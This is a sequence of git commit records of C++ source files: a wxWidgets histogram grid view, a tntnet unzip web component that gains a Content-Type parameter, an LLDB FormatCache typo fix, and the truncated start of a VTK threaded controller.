tmpStr = LabelConstructor::histoCellLabel( myHistogram, myHistogram->getCommCurrentValue( iCol, idStat, curPlane ) ); gridHisto->SetCellValue( iDrawRow, iDrawCol, wxString( tmpStr ) ); myHistogram->setCommNextCell( iCol, curPlane ); } else gridHisto->SetCellValue( iDrawRow, iDrawCol, wxString( "-" ) ); } else { if( myHistogram->getCurrentRow( iCol, curPlane ) == iRow ) { string tmpStr; tmpStr = LabelConstructor::histoCellLabel( myHistogram, myHistogram->getCurrentValue( iCol, idStat, curPlane ) ); gridHisto->SetCellValue( iDrawRow, iDrawCol, wxString( tmpStr ) ); myHistogram->setNextCell( iCol, curPlane ); } else gridHisto->SetCellValue( iDrawRow, iDrawCol, wxString( "-" ) ); } } } gridHisto->SetRowLabelValue( numDrawRows, "" ); } fillTotals( rowLabelWidth, numDrawRows + 1, curPlane, idStat ); gridHisto->SetRowLabelSize( rowLabelWidth + 5 ); gridHisto->AutoSizeColumns(); gridHisto->AutoSizeRows(); gridHisto->EndBatch(); } void gHistogram::fillTotals( int& rowLabelWidth, TObjectOrder beginRow, THistogramColumn curPlane, UINT16 idStat ) { THistogramColumn numDrawCols; wxFont labelFont = gridHisto->GetLabelFont(); HistogramTotals *histoTotals = myHistogram->getTotals( myHistogram->getCurrentStat() ); if( myHistogram->getHorizontal() ) numDrawCols = myHistogram->getNumColumns( myHistogram->getCurrentStat() ); else numDrawCols = myHistogram->getNumRows(); for( THistogramColumn iCol = 0; iCol < numDrawCols; iCol++ ) { vector<TSemanticValue> totals; histoTotals->getAll( totals, idStat, iCol, curPlane ); for( int i = 0; i < NUMTOTALS; i++ ) { int w,h; gridHisto->GetTextExtent( LabelConstructor::histoTotalLabel( (THistoTotals) i ), &w, &h, NULL, NULL, &labelFont ); if( rowLabelWidth == 0 || rowLabelWidth < w ) rowLabelWidth = w; gridHisto->SetRowLabelValue( beginRow + i, LabelConstructor::histoTotalLabel( (THistoTotals) i ) ); if( totals[ 0 ] > 0.0 ) { string tmpStr; tmpStr = LabelConstructor::histoCellLabel( myHistogram, totals[ i ] ); gridHisto->SetCellValue( beginRow + i, iCol, wxString( tmpStr ) ); } else { gridHisto->SetCellValue( beginRow + i, iCol, wxString( "-" ) ); } } } } /*! * Should we show tooltips? */ bool gHistogram::ShowToolTips() { return true; } /*! * Get bitmap resources */ wxBitmap gHistogram::GetBitmapResource( const wxString& name ) { // Bitmap retrieval ////@begin gHistogram bitmap retrieval wxUnusedVar(name); return wxNullBitmap; ////@end gHistogram bitmap retrieval } /*! * Get icon resources */ wxIcon gHistogram::GetIconResource( const wxString& name ) { // Icon retrieval ////@begin gHistogram icon retrieval wxUnusedVar(name); return wxNullIcon; ////@end gHistogram icon retrieval } /*! * wxEVT_IDLE event handler for ID_GHISTOGRAM */ void gHistogram::OnIdle( wxIdleEvent& event ) { this->SetTitle( myHistogram->getName() ); if( myHistogram->getShowWindow() ) this->Show(); else this->Show( false ); } /*! * wxEVT_UPDATE_UI event handler for ID_GRIDHISTO */ void gHistogram::OnGridhistoUpdate( wxUpdateUIEvent& event ) { if( myHistogram->getRecalc() ) { myHistogram->setRecalc( false ); execute(); myHistogram->setChanged( true ); } if( this->IsShown() ) { if( myHistogram->getRedraw() ) { myHistogram->setRedraw( false ); fillGrid(); } } } /*! * wxEVT_CLOSE_WINDOW event handler for ID_GHISTOGRAM */ void gHistogram::OnCloseWindow( wxCloseEvent& event ) { myHistogram->setShowWindow( false ); } /*! * wxEVT_GRID_RANGE_SELECT event handler for ID_GRIDHISTO */ void gHistogram::OnRangeSelect( wxGridRangeSelectEvent& event ) { if (wxTheClipboard->Open()) { wxGridCellCoords topLeft = event.GetTopLeftCoords(); wxTheClipboard->SetData( new wxTextDataObject( gridHisto->GetCellValue( topLeft ) ) ); wxTheClipboard->Close(); } } <commit_msg>*** empty log message ***<commit_after>///////////////////////////////////////////////////////////////////////////// // Name: ghistogram.cpp // Purpose: // Author: Eloy Martinez // Modified by: // Created: Mon 23 Jun 2008 11:40:03 CEST // RCS-ID: // Copyright: // Licence: ///////////////////////////////////////////////////////////////////////////// // For compilers that support precompilation, includes "wx/wx.h". #include "wx/wxprec.h" #ifdef __BORLANDC__ #pragma hdrstop #endif #ifndef WX_PRECOMP #include "wx/wx.h" #endif ////@begin includes ////@end includes #include <wx/clipbrd.h> #include <sstream> #include "ghistogram.h" #include "histogram.h" #include "labelconstructor.h" #include "histogramtotals.h" ////@begin XPM images ////@end XPM images /*! * gHistogram type definition */ IMPLEMENT_CLASS( gHistogram, wxFrame ) /*! * gHistogram event table definition */ BEGIN_EVENT_TABLE( gHistogram, wxFrame ) ////@begin gHistogram event table entries EVT_CLOSE( gHistogram::OnCloseWindow ) EVT_IDLE( gHistogram::OnIdle ) EVT_GRID_RANGE_SELECT( gHistogram::OnRangeSelect ) EVT_UPDATE_UI( ID_GRIDHISTO, gHistogram::OnGridhistoUpdate ) ////@end gHistogram event table entries END_EVENT_TABLE() /*! * gHistogram constructors */ gHistogram::gHistogram() { Init(); } gHistogram::gHistogram( wxWindow* parent, wxWindowID id, const wxString& caption, const wxPoint& pos, const wxSize& size, long style ) { Init(); Create( parent, id, caption, pos, size, style ); } /*! * gHistogram creator */ bool gHistogram::Create( wxWindow* parent, wxWindowID id, const wxString& caption, const wxPoint& pos, const wxSize& size, long style ) { ////@begin gHistogram creation wxFrame::Create( parent, id, caption, pos, size, style ); CreateControls(); ////@end gHistogram creation return true; } /*! * gHistogram destructor */ gHistogram::~gHistogram() { ////@begin gHistogram destruction ////@end gHistogram destruction } /*! * Member initialisation */ void gHistogram::Init() { ////@begin gHistogram member initialisation myHistogram = NULL; gridHisto = NULL; ////@end gHistogram member initialisation } /*! * Control creation for gHistogram */ void gHistogram::CreateControls() { ////@begin gHistogram content construction gHistogram* itemFrame1 = this; wxBoxSizer* itemBoxSizer2 = new wxBoxSizer(wxVERTICAL); itemFrame1->SetSizer(itemBoxSizer2); gridHisto = new wxGrid( itemFrame1, ID_GRIDHISTO, wxDefaultPosition, wxDefaultSize, wxHSCROLL|wxVSCROLL|wxALWAYS_SHOW_SB ); gridHisto->SetDefaultColSize(50); gridHisto->SetDefaultRowSize(25); gridHisto->SetColLabelSize(25); gridHisto->SetRowLabelSize(50); itemBoxSizer2->Add(gridHisto, 1, wxGROW|wxALL, 1); ////@end gHistogram content construction gridHisto->CreateGrid( 0, 0 ); gridHisto->EnableEditing( false ); gridHisto->SetDefaultCellAlignment( wxALIGN_RIGHT, wxALIGN_CENTRE ); } void gHistogram::execute() { if( myHistogram == NULL ) return; myHistogram->execute( myHistogram->getBeginTime(), myHistogram->getEndTime() ); fillGrid(); this->Refresh(); } void gHistogram::fillGrid() { int rowLabelWidth = 0; wxFont labelFont = gridHisto->GetLabelFont(); bool commStat = myHistogram->itsCommunicationStat( myHistogram->getCurrentStat() ); UINT16 idStat; THistogramColumn curPlane; THistogramColumn numCols, numDrawCols; TObjectOrder numRows, numDrawRows; bool horizontal = myHistogram->getHorizontal(); if( !myHistogram->getIdStat( myHistogram->getCurrentStat(), idStat ) ) throw( exception() ); if( commStat ) curPlane = myHistogram->getCommSelectedPlane(); else curPlane = myHistogram->getSelectedPlane(); numCols = myHistogram->getNumColumns( myHistogram->getCurrentStat() ); numRows = myHistogram->getNumRows(); if( horizontal ) { numDrawCols = myHistogram->getNumColumns( myHistogram->getCurrentStat() ); numDrawRows = myHistogram->getNumRows(); } else { numDrawCols = myHistogram->getNumRows(); numDrawRows = myHistogram->getNumColumns( myHistogram->getCurrentStat() ); } gridHisto->BeginBatch(); if( (THistogramColumn)gridHisto->GetNumberCols() != numDrawCols ) { if( gridHisto->GetNumberCols() > 0 ) gridHisto->DeleteCols( 0, gridHisto->GetNumberCols() ); gridHisto->AppendCols( numDrawCols ); } if( gridHisto->GetNumberRows() != numDrawRows + NUMTOTALS + 1 ) { if( gridHisto->GetNumberRows() > 0 ) gridHisto->DeleteRows( 0, gridHisto->GetNumberRows() ); gridHisto->AppendRows( numDrawRows + NUMTOTALS + 1 ); } for( THistogramColumn iCol = 0; iCol < numCols; iCol++ ) { if( commStat ) { gridHisto->SetColLabelValue( iCol, myHistogram->getRowLabel( iCol ) ); myHistogram->setCommFirstCell( iCol, curPlane ); } else { if( horizontal ) gridHisto->SetColLabelValue( iCol, myHistogram->getColumnLabel( iCol ) ); else { int w, h; gridHisto->GetTextExtent( myHistogram->getColumnLabel( iCol ), &w, &h, NULL, NULL, &labelFont ); if( rowLabelWidth == 0 || rowLabelWidth < w ) rowLabelWidth = w; gridHisto->SetRowLabelValue( iCol, myHistogram->getColumnLabel( iCol ) ); } myHistogram->setFirstCell( iCol, curPlane ); } for( TObjectOrder iRow = 0; iRow < numRows; iRow++ ) { if( horizontal ) { if( iCol == 0 ) { int w, h; gridHisto->GetTextExtent( myHistogram->getRowLabel( iRow ), &w, &h, NULL, NULL, &labelFont ); if( rowLabelWidth == 0 || rowLabelWidth < w ) rowLabelWidth = w; gridHisto->SetRowLabelValue( iRow, myHistogram->getRowLabel( iRow ) ); } } else { gridHisto->SetColLabelValue( iRow, myHistogram->getRowLabel( iRow ) ); } THistogramColumn iDrawCol; TObjectOrder iDrawRow; if( horizontal ) { iDrawCol = iCol; iDrawRow = iRow; } else { iDrawCol = iRow; iDrawRow = iCol; } if( ( commStat && myHistogram->endCommCell( iCol, curPlane ) ) || ( !commStat && myHistogram->endCell( iCol, curPlane ) ) ) gridHisto->SetCellValue( iDrawRow, iDrawCol, wxString( "-" ) ); else { if( commStat ) { if( myHistogram->getCommCurrentRow( iCol, curPlane ) == iRow ) { string tmpStr; tmpStr = LabelConstructor::histoCellLabel( myHistogram, myHistogram->getCommCurrentValue( iCol, idStat, curPlane ), true ); gridHisto->SetCellValue( iDrawRow, iDrawCol, wxString( tmpStr ) ); myHistogram->setCommNextCell( iCol, curPlane ); } else gridHisto->SetCellValue( iDrawRow, iDrawCol, wxString( "-" ) ); } else { if( myHistogram->getCurrentRow( iCol, curPlane ) == iRow ) { string tmpStr; tmpStr = LabelConstructor::histoCellLabel( myHistogram, myHistogram->getCurrentValue( iCol, idStat, curPlane ), true ); gridHisto->SetCellValue( iDrawRow, iDrawCol, wxString( tmpStr ) ); myHistogram->setNextCell( iCol, curPlane ); } else gridHisto->SetCellValue( iDrawRow, iDrawCol, wxString( "-" ) ); } } } gridHisto->SetRowLabelValue( numDrawRows, "" ); } fillTotals( rowLabelWidth, numDrawRows + 1, curPlane, idStat ); gridHisto->SetRowLabelSize( rowLabelWidth + 5 ); gridHisto->AutoSizeColumns(); gridHisto->AutoSizeRows(); gridHisto->EndBatch(); } void gHistogram::fillTotals( int& rowLabelWidth, TObjectOrder beginRow, THistogramColumn curPlane, UINT16 idStat ) { THistogramColumn numDrawCols; wxFont labelFont = gridHisto->GetLabelFont(); HistogramTotals *histoTotals = myHistogram->getTotals( myHistogram->getCurrentStat() ); if( myHistogram->getHorizontal() ) numDrawCols = myHistogram->getNumColumns( myHistogram->getCurrentStat() ); else numDrawCols = myHistogram->getNumRows(); for( THistogramColumn iCol = 0; iCol < numDrawCols; iCol++ ) { vector<TSemanticValue> totals; histoTotals->getAll( totals, idStat, iCol, curPlane ); for( int i = 0; i < NUMTOTALS; i++ ) { int w,h; gridHisto->GetTextExtent( LabelConstructor::histoTotalLabel( (THistoTotals) i ), &w, &h, NULL, NULL, &labelFont ); if( rowLabelWidth == 0 || rowLabelWidth < w ) rowLabelWidth = w; gridHisto->SetRowLabelValue( beginRow + i, LabelConstructor::histoTotalLabel( (THistoTotals) i ) ); if( totals[ 0 ] > 0.0 ) { string tmpStr; if( i == AVGDIVMAX ) tmpStr = LabelConstructor::histoCellLabel( myHistogram, totals[ i ], false ); else tmpStr = LabelConstructor::histoCellLabel( myHistogram, totals[ i ], true ); gridHisto->SetCellValue( beginRow + i, iCol, wxString( tmpStr ) ); } else { gridHisto->SetCellValue( beginRow + i, iCol, wxString( "-" ) ); } } } } /*! * Should we show tooltips? */ bool gHistogram::ShowToolTips() { return true; } /*! * Get bitmap resources */ wxBitmap gHistogram::GetBitmapResource( const wxString& name ) { // Bitmap retrieval ////@begin gHistogram bitmap retrieval wxUnusedVar(name); return wxNullBitmap; ////@end gHistogram bitmap retrieval } /*! * Get icon resources */ wxIcon gHistogram::GetIconResource( const wxString& name ) { // Icon retrieval ////@begin gHistogram icon retrieval wxUnusedVar(name); return wxNullIcon; ////@end gHistogram icon retrieval } /*! * wxEVT_IDLE event handler for ID_GHISTOGRAM */ void gHistogram::OnIdle( wxIdleEvent& event ) { this->SetTitle( myHistogram->getName() ); if( myHistogram->getShowWindow() ) this->Show(); else this->Show( false ); } /*! * wxEVT_UPDATE_UI event handler for ID_GRIDHISTO */ void gHistogram::OnGridhistoUpdate( wxUpdateUIEvent& event ) { if( myHistogram->getRecalc() ) { myHistogram->setRecalc( false ); execute(); myHistogram->setChanged( true ); } if( this->IsShown() ) { if( myHistogram->getRedraw() ) { myHistogram->setRedraw( false ); fillGrid(); } } } /*! * wxEVT_CLOSE_WINDOW event handler for ID_GHISTOGRAM */ void gHistogram::OnCloseWindow( wxCloseEvent& event ) { myHistogram->setShowWindow( false ); } /*! * wxEVT_GRID_RANGE_SELECT event handler for ID_GRIDHISTO */ void gHistogram::OnRangeSelect( wxGridRangeSelectEvent& event ) { if (wxTheClipboard->Open()) { wxGridCellCoords topLeft = event.GetTopLeftCoords(); wxTheClipboard->SetData( new wxTextDataObject( gridHisto->GetCellValue( topLeft ) ) ); wxTheClipboard->Close(); } } <|endoftext|>
<commit_before>/* unzipcomp.cpp Copyright (C) 2003 Tommi Mäkitalo This file is part of tntnet. Tntnet is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. Tntnet is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with tntnet; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include "unzip.h" #include <tnt/component.h> #include <tnt/http.h> #include <fstream> #include <cxxtools/thread.h> #include "unzip_pp.h" namespace tnt { class urlmapper; class comploader; } static Mutex mutex; static tnt::component* theComponent = 0; static unsigned refs = 0; //////////////////////////////////////////////////////////////////////// // prototypes for external functions // extern "C" { tnt::component* create_unzip(const tnt::compident& ci, const tnt::urlmapper& um, tnt::comploader& cl); } //////////////////////////////////////////////////////////////////////// // componentdeclaration // class unzipcomp : public tnt::component { static std::string document_root; protected: virtual ~unzipcomp() { }; public: virtual unsigned operator() (tnt::httpRequest& request, tnt::httpReply& reply, query_params& qparam); virtual bool drop(); }; //////////////////////////////////////////////////////////////////////// // external functions // tnt::component* create_unzip(const tnt::compident& ci, const tnt::urlmapper& um, tnt::comploader& cl) { MutexLock lock(mutex); if (theComponent == 0) { theComponent = new unzipcomp(); refs = 1; } else ++refs; return theComponent; } //////////////////////////////////////////////////////////////////////// // componentdefinition // unsigned unzipcomp::operator() (tnt::httpRequest& request, tnt::httpReply& reply, query_params& qparams) { std::string pi = request.getPathInfo(); if (request.getArgsCount() < 1) reply.throwError(HTTP_INTERNAL_SERVER_ERROR, "missing archive name"); unzipFile f(request.getArg(0)); unzipFileStream in(f, pi, false); std::copy(std::istreambuf_iterator<char>(in), std::istreambuf_iterator<char>(), std::ostreambuf_iterator<char>(reply.out())); return HTTP_OK; } bool unzipcomp::drop() { MutexLock lock(mutex); if (--refs == 0) { delete this; theComponent = 0; return true; } else return false; } <commit_msg>Neuer Parameter f�r Content-type<commit_after>/* unzipcomp.cpp Copyright (C) 2003 Tommi Mäkitalo This file is part of tntnet. Tntnet is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. Tntnet is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with tntnet; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include "unzip.h" #include <tnt/component.h> #include <tnt/http.h> #include <fstream> #include <cxxtools/thread.h> #include "unzip_pp.h" namespace tnt { class urlmapper; class comploader; } static Mutex mutex; static tnt::component* theComponent = 0; static unsigned refs = 0; //////////////////////////////////////////////////////////////////////// // prototypes for external functions // extern "C" { tnt::component* create_unzip(const tnt::compident& ci, const tnt::urlmapper& um, tnt::comploader& cl); } //////////////////////////////////////////////////////////////////////// // componentdeclaration // class unzipcomp : public tnt::component { static std::string document_root; protected: virtual ~unzipcomp() { }; public: virtual unsigned operator() (tnt::httpRequest& request, tnt::httpReply& reply, query_params& qparam); virtual bool drop(); }; //////////////////////////////////////////////////////////////////////// // external functions // tnt::component* create_unzip(const tnt::compident& ci, const tnt::urlmapper& um, tnt::comploader& cl) { MutexLock lock(mutex); if (theComponent == 0) { theComponent = new unzipcomp(); refs = 1; } else ++refs; return theComponent; } //////////////////////////////////////////////////////////////////////// // componentdefinition // unsigned unzipcomp::operator() (tnt::httpRequest& request, tnt::httpReply& reply, query_params& qparams) { std::string pi = request.getPathInfo(); if (request.getArgsCount() < 1) reply.throwError(HTTP_INTERNAL_SERVER_ERROR, "missing archive name"); unzipFile f(request.getArg(0)); unzipFileStream in(f, pi, false); // set Content-Type if (request.getArgs().size() > 1) reply.setContentType(request.getArg(1)); std::copy(std::istreambuf_iterator<char>(in), std::istreambuf_iterator<char>(), std::ostreambuf_iterator<char>(reply.out())); return HTTP_OK; } bool unzipcomp::drop() { MutexLock lock(mutex); if (--refs == 0) { delete this; theComponent = 0; return true; } else return false; } <|endoftext|>
<commit_before>//===-- FormatCache.cpp ------------------------------------------*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // C Includes // C++ Includes // Other libraries and framework includes // Project includes #include "lldb/DataFormatters/FormatCache.h" using namespace lldb; using namespace lldb_private; FormatCache::Entry::Entry () : m_format_cached(false), m_summary_cached(false), m_synthetic_cached(false), m_validator_cached(false), m_format_sp(), m_summary_sp(), m_synthetic_sp(), m_validator_sp() {} FormatCache::Entry::Entry (lldb::TypeFormatImplSP format_sp) : m_summary_cached(false), m_synthetic_cached(false), m_validator_cached(false), m_summary_sp(), m_synthetic_sp(), m_validator_sp() { SetFormat (format_sp); } FormatCache::Entry::Entry (lldb::TypeSummaryImplSP summary_sp) : m_format_cached(false), m_synthetic_cached(false), m_validator_cached(false), m_format_sp(), m_synthetic_sp(), m_validator_sp() { SetSummary (summary_sp); } FormatCache::Entry::Entry (lldb::SyntheticChildrenSP synthetic_sp) : m_format_cached(false), m_summary_cached(false), m_validator_cached(false), m_format_sp(), m_summary_sp(), m_validator_sp() { SetSynthetic (synthetic_sp); } FormatCache::Entry::Entry (lldb::TypeValidatorImplSP validator_sp) : m_format_cached(false), m_summary_cached(false), m_synthetic_cached(false), m_format_sp(), m_summary_sp(), m_synthetic_sp() { SetValidator (validator_sp); } FormatCache::Entry::Entry (lldb::TypeFormatImplSP format_sp, lldb::TypeSummaryImplSP summary_sp, lldb::SyntheticChildrenSP synthetic_sp, lldb::TypeValidatorImplSP validator_sp) { SetFormat (format_sp); SetSummary (summary_sp); SetSynthetic (synthetic_sp); SetValidator (validator_sp); } bool FormatCache::Entry::IsFormatCached () { return m_format_cached; } bool FormatCache::Entry::IsSummaryCached () { return m_summary_cached; } bool FormatCache::Entry::IsSyntheticCached () { return m_synthetic_cached; } bool FormatCache::Entry::IsValidatorCached () { return m_validator_cached; } lldb::TypeFormatImplSP FormatCache::Entry::GetFormat () { return m_format_sp; } lldb::TypeSummaryImplSP FormatCache::Entry::GetSummary () { return m_summary_sp; } lldb::SyntheticChildrenSP FormatCache::Entry::GetSynthetic () { return m_synthetic_sp; } lldb::TypeValidatorImplSP FormatCache::Entry::GetValidator () { return m_validator_sp; } void FormatCache::Entry::SetFormat (lldb::TypeFormatImplSP format_sp) { m_format_cached = true; m_format_sp = format_sp; } void FormatCache::Entry::SetSummary (lldb::TypeSummaryImplSP summary_sp) { m_summary_cached = true; m_summary_sp = summary_sp; } void FormatCache::Entry::SetSynthetic (lldb::SyntheticChildrenSP synthetic_sp) { m_synthetic_cached = true; m_synthetic_sp = synthetic_sp; } void FormatCache::Entry::SetValidator (lldb::TypeValidatorImplSP validator_sp) { m_validator_cached = true; m_validator_sp = validator_sp; } FormatCache::FormatCache () : m_map(), m_mutex (Mutex::eMutexTypeRecursive) #ifdef LLDB_CONFIGURATION_DEBUG ,m_cache_hits(0),m_cache_misses(0) #endif { } FormatCache::Entry& FormatCache::GetEntry (const ConstString& type) { auto i = m_map.find(type), e = m_map.end(); if (i != e) return i->second; m_map[type] = FormatCache::Entry(); return m_map[type]; } bool FormatCache::GetFormat (const ConstString& type,lldb::TypeFormatImplSP& format_sp) { Mutex::Locker lock(m_mutex); auto entry = GetEntry(type); if (entry.IsSummaryCached()) { #ifdef LLDB_CONFIGURATION_DEBUG m_cache_hits++; #endif format_sp = entry.GetFormat(); return true; } #ifdef LLDB_CONFIGURATION_DEBUG m_cache_misses++; #endif format_sp.reset(); return false; } bool FormatCache::GetSummary (const ConstString& type,lldb::TypeSummaryImplSP& summary_sp) { Mutex::Locker lock(m_mutex); auto entry = GetEntry(type); if (entry.IsSummaryCached()) { #ifdef LLDB_CONFIGURATION_DEBUG m_cache_hits++; #endif summary_sp = entry.GetSummary(); return true; } #ifdef LLDB_CONFIGURATION_DEBUG m_cache_misses++; #endif summary_sp.reset(); return false; } bool FormatCache::GetSynthetic (const ConstString& type,lldb::SyntheticChildrenSP& synthetic_sp) { Mutex::Locker lock(m_mutex); auto entry = GetEntry(type); if (entry.IsSyntheticCached()) { #ifdef LLDB_CONFIGURATION_DEBUG m_cache_hits++; #endif synthetic_sp = entry.GetSynthetic(); return true; } #ifdef LLDB_CONFIGURATION_DEBUG m_cache_misses++; #endif synthetic_sp.reset(); return false; } bool FormatCache::GetValidator (const ConstString& type,lldb::TypeValidatorImplSP& validator_sp) { Mutex::Locker lock(m_mutex); auto entry = GetEntry(type); if (entry.IsValidatorCached()) { #ifdef LLDB_CONFIGURATION_DEBUG m_cache_hits++; #endif validator_sp = entry.GetValidator(); return true; } #ifdef LLDB_CONFIGURATION_DEBUG m_cache_misses++; #endif validator_sp.reset(); return false; } void FormatCache::SetFormat (const ConstString& type,lldb::TypeFormatImplSP& format_sp) { Mutex::Locker lock(m_mutex); GetEntry(type).SetFormat(format_sp); } void FormatCache::SetSummary (const ConstString& type,lldb::TypeSummaryImplSP& summary_sp) { Mutex::Locker lock(m_mutex); GetEntry(type).SetSummary(summary_sp); } void FormatCache::SetSynthetic (const ConstString& type,lldb::SyntheticChildrenSP& synthetic_sp) { Mutex::Locker lock(m_mutex); GetEntry(type).SetSynthetic(synthetic_sp); } void FormatCache::SetValidator (const ConstString& type,lldb::TypeValidatorImplSP& validator_sp) { Mutex::Locker lock(m_mutex); GetEntry(type).SetValidator(validator_sp); } void FormatCache::Clear () { Mutex::Locker lock(m_mutex); m_map.clear(); } <commit_msg>Fix a typo in FormatCache.cpp such that the cache would potentially return an invalid format in some cases<commit_after>//===-- FormatCache.cpp ------------------------------------------*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // C Includes // C++ Includes // Other libraries and framework includes // Project includes #include "lldb/DataFormatters/FormatCache.h" using namespace lldb; using namespace lldb_private; FormatCache::Entry::Entry () : m_format_cached(false), m_summary_cached(false), m_synthetic_cached(false), m_validator_cached(false), m_format_sp(), m_summary_sp(), m_synthetic_sp(), m_validator_sp() {} FormatCache::Entry::Entry (lldb::TypeFormatImplSP format_sp) : m_summary_cached(false), m_synthetic_cached(false), m_validator_cached(false), m_summary_sp(), m_synthetic_sp(), m_validator_sp() { SetFormat (format_sp); } FormatCache::Entry::Entry (lldb::TypeSummaryImplSP summary_sp) : m_format_cached(false), m_synthetic_cached(false), m_validator_cached(false), m_format_sp(), m_synthetic_sp(), m_validator_sp() { SetSummary (summary_sp); } FormatCache::Entry::Entry (lldb::SyntheticChildrenSP synthetic_sp) : m_format_cached(false), m_summary_cached(false), m_validator_cached(false), m_format_sp(), m_summary_sp(), m_validator_sp() { SetSynthetic (synthetic_sp); } FormatCache::Entry::Entry (lldb::TypeValidatorImplSP validator_sp) : m_format_cached(false), m_summary_cached(false), m_synthetic_cached(false), m_format_sp(), m_summary_sp(), m_synthetic_sp() { SetValidator (validator_sp); } FormatCache::Entry::Entry (lldb::TypeFormatImplSP format_sp, lldb::TypeSummaryImplSP summary_sp, lldb::SyntheticChildrenSP synthetic_sp, lldb::TypeValidatorImplSP validator_sp) { SetFormat (format_sp); SetSummary (summary_sp); SetSynthetic (synthetic_sp); SetValidator (validator_sp); } bool FormatCache::Entry::IsFormatCached () { return m_format_cached; } bool FormatCache::Entry::IsSummaryCached () { return m_summary_cached; } bool FormatCache::Entry::IsSyntheticCached () { return m_synthetic_cached; } bool FormatCache::Entry::IsValidatorCached () { return m_validator_cached; } lldb::TypeFormatImplSP FormatCache::Entry::GetFormat () { return m_format_sp; } lldb::TypeSummaryImplSP FormatCache::Entry::GetSummary () { return m_summary_sp; } lldb::SyntheticChildrenSP FormatCache::Entry::GetSynthetic () { return m_synthetic_sp; } lldb::TypeValidatorImplSP FormatCache::Entry::GetValidator () { return m_validator_sp; } void FormatCache::Entry::SetFormat (lldb::TypeFormatImplSP format_sp) { m_format_cached = true; m_format_sp = format_sp; } void FormatCache::Entry::SetSummary (lldb::TypeSummaryImplSP summary_sp) { m_summary_cached = true; m_summary_sp = summary_sp; } void FormatCache::Entry::SetSynthetic (lldb::SyntheticChildrenSP synthetic_sp) { m_synthetic_cached = true; m_synthetic_sp = synthetic_sp; } void FormatCache::Entry::SetValidator (lldb::TypeValidatorImplSP validator_sp) { m_validator_cached = true; m_validator_sp = validator_sp; } FormatCache::FormatCache () : m_map(), m_mutex (Mutex::eMutexTypeRecursive) #ifdef LLDB_CONFIGURATION_DEBUG ,m_cache_hits(0),m_cache_misses(0) #endif { } FormatCache::Entry& FormatCache::GetEntry (const ConstString& type) { auto i = m_map.find(type), e = m_map.end(); if (i != e) return i->second; m_map[type] = FormatCache::Entry(); return m_map[type]; } bool FormatCache::GetFormat (const ConstString& type,lldb::TypeFormatImplSP& format_sp) { Mutex::Locker lock(m_mutex); auto entry = GetEntry(type); if (entry.IsFormatCached()) { #ifdef LLDB_CONFIGURATION_DEBUG m_cache_hits++; #endif format_sp = entry.GetFormat(); return true; } #ifdef LLDB_CONFIGURATION_DEBUG m_cache_misses++; #endif format_sp.reset(); return false; } bool FormatCache::GetSummary (const ConstString& type,lldb::TypeSummaryImplSP& summary_sp) { Mutex::Locker lock(m_mutex); auto entry = GetEntry(type); if (entry.IsSummaryCached()) { #ifdef LLDB_CONFIGURATION_DEBUG m_cache_hits++; #endif summary_sp = entry.GetSummary(); return true; } #ifdef LLDB_CONFIGURATION_DEBUG m_cache_misses++; #endif summary_sp.reset(); return false; } bool FormatCache::GetSynthetic (const ConstString& type,lldb::SyntheticChildrenSP& synthetic_sp) { Mutex::Locker lock(m_mutex); auto entry = GetEntry(type); if (entry.IsSyntheticCached()) { #ifdef LLDB_CONFIGURATION_DEBUG m_cache_hits++; #endif synthetic_sp = entry.GetSynthetic(); return true; } #ifdef LLDB_CONFIGURATION_DEBUG m_cache_misses++; #endif synthetic_sp.reset(); return false; } bool FormatCache::GetValidator (const ConstString& type,lldb::TypeValidatorImplSP& validator_sp) { Mutex::Locker lock(m_mutex); auto entry = GetEntry(type); if (entry.IsValidatorCached()) { #ifdef LLDB_CONFIGURATION_DEBUG m_cache_hits++; #endif validator_sp = entry.GetValidator(); return true; } #ifdef LLDB_CONFIGURATION_DEBUG m_cache_misses++; #endif validator_sp.reset(); return false; } void FormatCache::SetFormat (const ConstString& type,lldb::TypeFormatImplSP& format_sp) { Mutex::Locker lock(m_mutex); GetEntry(type).SetFormat(format_sp); } void FormatCache::SetSummary (const ConstString& type,lldb::TypeSummaryImplSP& summary_sp) { Mutex::Locker lock(m_mutex); GetEntry(type).SetSummary(summary_sp); } void FormatCache::SetSynthetic (const ConstString& type,lldb::SyntheticChildrenSP& synthetic_sp) { Mutex::Locker lock(m_mutex); GetEntry(type).SetSynthetic(synthetic_sp); } void FormatCache::SetValidator (const ConstString& type,lldb::TypeValidatorImplSP& validator_sp) { Mutex::Locker lock(m_mutex); GetEntry(type).SetValidator(validator_sp); } void FormatCache::Clear () { Mutex::Locker lock(m_mutex); m_map.clear(); } <|endoftext|>
<commit_before>/*========================================================================= Program: Visualization Toolkit Module: vtkThreadedController.cxx Language: C++ Date: $Date$ Version: $Revision$ Copyright (c) 1993-2002 Ken Martin, Will Schroeder, Bill Lorensen All rights reserved. See Copyright.txt or http://www.kitware.com/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ #include "vtkThreadedController.h" #include "vtkObjectFactory.h" #include "vtkDataSet.h" #include "vtkImageData.h" #include "vtkOutputWindow.h" #include "vtkCriticalSection.h" #include "vtkSharedMemoryCommunicator.h" #ifdef VTK_USE_SPROC #include <sys/prctl.h> #endif static vtkSimpleCriticalSection vtkOutputWindowCritSect; // Output window which prints out the process id // with the error or warning messages class VTK_PARALLEL_EXPORT vtkThreadedControllerOutputWindow : public 